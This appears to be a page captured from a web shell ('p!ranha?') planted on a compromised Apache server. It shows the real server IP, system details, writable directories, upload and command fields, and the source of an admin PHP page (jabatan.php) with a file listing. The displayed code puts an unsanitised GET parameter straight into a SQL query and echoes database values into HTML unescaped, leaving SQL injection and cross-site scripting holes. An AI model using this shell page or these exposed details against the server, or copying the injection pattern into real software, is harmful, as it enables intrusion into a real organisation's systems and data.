p!ranha?
Server IP : 103.169.32.36  /  Your IP : 216.73.217.13
Web Server : Apache
System : Linux web.dpmptsp 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/dpmptsp/public_html/home/admin/page/

Upload File :
Curr3nt_D!r [ Writeable ] D0cum3nt_r0Ot [ Writeable ]

 
Command :
Current File : /home/dpmptsp/public_html/home/admin/page/jabatan.php
<section role="main" class="content-body">
<?php
if(($_GET['page']=='editJabatan') OR ($_GET['page']=='addJabatan') ) {
	$jbtn[0]['jbtnID']='';
	$jbtn[0]['jbtnNama']='';
	$jbtn[0]['jbtnParentID']=0;
	$ID='';	
	$act='index.php?act=addJabatan';
	if (isset($_GET['id'])){
		$stmt = $conn->prepare("SELECT * FROM jabatan WHERE jbtnID='".$_GET['id']."' limit 1"); 
		$stmt->execute();
		$jbtn = $stmt->fetchAll();
		$stmt->closeCursor();
		$act='index.php?act=editJabatan';
		$jbtnID='<input type="hidden"  name="jbtnID" value="'.$jbtn[0]['jbtnID'].'" required >';
	}
		$stmt = $conn->prepare("SELECT jbtnID AS id, jbtnNama AS name  FROM `jabatan` "); 
		$stmt->execute();
		$kab = $stmt->fetchAll();
		$stmt->closeCursor();	
?>	
					<!-- start: page Setting-->
					<div class="row" style="margin-top:-60px;">
						<div class="col-md-12">
							<form id="form" action="<?php echo $act;?>" class="form-horizontal" method="POST">
							<?php echo $ID; ?>
								<section class="panel panel-featured panel-featured-primary">
									<header class="panel-heading">
										<div class="panel-actions">
											<a href="#" class="fa fa-caret-down"></a>
										</div>

										<h2 class="panel-title"><i class="fa fa-star-o"></i> JABATAN</h2>
										<p class="panel-subtitle">
											
										</p>
									</header>
									<div class="panel-body">
										<div class="form-group">
											<label class="col-sm-3 control-label">Jabatan Nama <span class="required">*</span></label>
											<div class="col-sm-6">
												<textarea class="form-control" rows="2" id="jbtnNama" name="jbtnNama" required><?php echo $jbtn[0]['jbtnNama']; ?></textarea>
											</div>
										</div>											
										<div class="form-group">
											<label class="col-md-3 control-label">Parent <span class="required">*</span></label>
											<div class="col-md-6">
											<?php
												createSelect('jbtnParentID',$kab,$jbtn[0]['jbtnParentID'],true,"", "" );
											?>	
											</div>
										</div>
									</div>
									<footer class="panel-footer">
										<div class="row">
											<div class="col-sm-9 col-sm-offset-3">
												<button class="btn btn-primary">Submit</button>
												<button type="reset" class="btn btn-default">Reset</button>
											</div>
										</div>
									</footer>
								</section>
							</form>
						</div>
					
					</div>
					<!-- end: page Setting-->
<?php
}elseif(($_GET['page']=='jabatan')){
		$stmt = $conn->prepare("SELECT jbtnID AS id, jbtnNama AS name  FROM `jabatan` "); 
		$stmt->execute();
		$kab = $stmt->fetchAll();
		$stmt->closeCursor();
?>	
					<!-- start: page -->
						<section class="panel panel-featured panel-featured-primary" style="margin-top:-60px;">
							<header class="panel-heading">
								<div class="panel-actions">
									<a href="#" class="fa fa-caret-down"></a>
								</div>
								<h2 class="panel-title"><i class="fa fa-star-o"></i> JABATAN</h2>
							</header>
							<div class="panel-body">
								<a href="index.php?page=addJabatan" class="mb-xs mt-xs mr-xs btn btn-primary"><i class="fa  fa-plus-square"></i> Input Data Baru</a>
								<hr class="dotted short">

								<table class="table table-bordered table-striped mb-none" id="datatable-default">
									<thead>
										<tr>
											<th width="10px">No</th>
											<th>Jabatan Nama</th>
											<th></th>
										</tr>
									</thead>
									<tbody>
									<?php
									$stmt = $conn->prepare("SELECT * FROM jabatan order by jbtnID"); 
									$stmt->execute();
									$data = $stmt->fetchAll();
									$stmt->closeCursor();
									$x=1;
									foreach($data as $v){
									echo '
									    <tr>										
                                        	<td>'.$x.'</td>
                                        	<td>'.$v['jbtnNama'].'</td>
                                        	<td align="center">
												<a class="popup-with-form mb-xs mt-xs mr-xs btn btn-default" role="button" href="#demo-form'.$v['jbtnID'].'"><i class="fa fa-pencil"></i></a>
												<a href="#modalHeaderColorPrimary'.$v['jbtnID'].'" class="mb-xs mt-xs mr-xs btn btn-default modal-basic" role="button"  ><i class="fa fa-trash-o"></i></a>
											</td>
											</tr>';											
									$x++;
									}
									?>										
									</tbody>
								</table>
							</div>						
						</section>
									<?php
									foreach($data as $v){
									?>

									<form action="index.php?act=editJabatan" id="demo-form<?php echo $v['jbtnID'];?>" class="white-popup-block mfp-hide form-horizontal panel-featured panel-featured-primary " method="POST">
									<input type="hidden"  name="jbtnID" value="<?php echo $v['jbtnID']; ?>" required >
										<div class="row">
											<div class="col-sm-12">
												<h4>Edit Jabatan</h4>
											</div>
										</div>

										<div class="form-group mt-lg">
											<label class="col-sm-3 control-label">Jabatan Nama</label>
											<div class="col-sm-9">
												<textarea class="form-control" rows="2" id="jbtnNama" name="jbtnNama" required><?php echo $v['jbtnNama']; ?></textarea>
											</div>
										</div>
										<div class="form-group">
											<label class="col-sm-3 control-label">Parent</label>
											<div class="col-sm-9">
											<?php
												createSelect('jbtnParentID',$kab,$v['jbtnParentID'],true,"", "" );
											?>
											</div>
										</div>

										<div class="row mb-lg">
											<div class="col-sm-9 col-sm-offset-3">
												<button class="btn btn-primary">Submit</button>
												<button type="reset" class="btn btn-default">Reset</button>
											</div>
										</div>

									</form>	

									<div id="modalHeaderColorPrimary<?php echo $v['jbtnID'];?>" class="modal-block modal-header-color modal-block-primary mfp-hide">
										<section class="panel">
											<header class="panel-heading">
												<h2 class="panel-title">Are you sure?</h2>
											</header>
											<div class="panel-body">
												<div class="modal-wrapper">
													<div class="modal-icon">
														<i class="fa fa-trash-o"></i>
													</div>
													<div class="modal-text">
														<h4>Hapus</h4>
														<p>Apakah Anda Ingin menghapus data "<?php echo $v['jbtnNama'];?>" ?</p>
													</div>
												</div>
											</div>
											<footer class="panel-footer">
												<div class="row">
													<div class="col-md-12 text-right">
														<a href="index.php?act=deleteUnitKerja&id=<?php echo $v['jbtnID'];?>" class="btn btn-primary">Ya</a>
														<button class="btn btn-default modal-dismiss">Tidak</button>
													</div>
												</div>
											</footer>
										</section>
									</div>

									
									<?php											
									$x++;
									}
									?>	
<?php	
}
?>

</section>
N4m3
5!z3
L45t M0d!f!3d
0wn3r / Gr0up
P3Rm!55!0n5
0pt!0n5
..
--
December 21 2023 09:33:10
1000 / 1000
0755
about.php
5.217 KB
January 13 2024 08:37:55
1000 / 1000
0755
artikel.php
10.718 KB
January 13 2024 08:37:55
1000 / 1000
0755
dashboard.php
6.179 KB
January 13 2024 08:37:55
1000 / 1000
0755
formPMA.php
9.67 KB
January 13 2024 08:37:55
1000 / 1000
0755
formPMDN.php
9.462 KB
January 13 2024 08:37:55
1000 / 1000
0755
formUMKM.php
6.325 KB
January 13 2024 08:37:56
1000 / 1000
0755
index.html
0 KB
January 13 2024 08:37:56
1000 / 1000
0755
jabatan.php
6.976 KB
January 13 2024 08:37:56
1000 / 1000
0755
log.php
11.471 KB
January 13 2024 08:37:56
1000 / 1000
0755
partner.php
8.179 KB
January 13 2024 08:37:56
1000 / 1000
0755
perizinan.php
7.02 KB
January 13 2024 08:37:56
1000 / 1000
0755
promosi.php
11.417 KB
January 13 2024 08:37:56
1000 / 1000
0755
struktur.php
13.235 KB
January 13 2024 08:37:56
1000 / 1000
0755
user.php
20.516 KB
January 13 2024 08:37:56
1000 / 1000
0755